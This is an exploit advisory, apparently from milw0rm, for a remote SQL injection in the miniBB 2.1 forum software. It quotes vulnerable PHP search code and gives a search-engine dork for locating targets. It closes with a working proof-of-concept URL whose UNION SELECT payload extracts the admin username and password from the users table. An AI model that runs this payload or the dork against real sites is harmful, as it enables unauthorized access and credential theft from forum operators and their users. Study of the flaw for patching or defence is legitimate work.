vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit
download: http://www.minibb.net/download.php?file=minibb21
dork: "These forums are running on" "miniBB"
author: irk4z@yahoo.pl
greets to: str0ke, polish under :*
'-----------------------------------------------------------------------------'
# code:
/bb_func_search.php:
...
41 if(isset($_GET['where'])) $where=$_GET['where']+0; else $where=0;
...
...
188 if($where==0) { $date_field='post_time'; $poster_field='poster_name'; $table=$Tp; }
189 elseif($where==1) { $date_field='topic_time'; $poster_field='topic_poster_name'; $table=$Tt; }
...
...
215 if($row=db_searchSelect(0,$table,'count(*)',$sqlStr)) $numRows=$row[0]; else $numRows=0;
216 if($numRows==0){
217 $searchResults='<span class="txtSm">'.$l_searchFailed.'</span>';
218 }
219 else{
220 $warning=$l_recordsFound.' '.$numRows;
...
SQL query: "select count(*) from $table where $sqlStr" <- sql-inj in $table
so if register_globals = On, we can get usernames and passwords from database
in hex, and unhex it (http://www.paulschou.com/tools/xlate/) ;]
# p0c:
http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=[SQL]
http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*
# milw0rm.com [2007-10-30]
